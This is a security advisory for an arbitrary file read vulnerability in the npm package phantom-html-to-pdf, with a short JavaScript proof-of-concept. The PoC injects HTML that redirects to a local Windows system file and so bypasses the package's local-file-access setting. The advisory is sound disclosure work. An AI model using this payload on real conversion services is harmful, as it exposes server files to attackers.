GHSA-6h7f-qwqm-35pp
Arbitrary File Read in phantom-html-to-pdf
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | phantom-html-to-pdf | < 0.6.2 | 0.6.2 |
Details
As written in the advisory (Markdown source, shown as plain text).
This affects the package phantom-html-to-pdf before 0.6.1.
### PoC
```js
var fs = require('fs') var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false conversion({
html: "document.write(window.location='c:/windows/win.ini')"
}, function(err, pdf) {
var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);
console.log(pdf.numberOfPages);
pdf.stream.pipe(output);
});
```
References
External links from the advisory. They lead to third-party sites.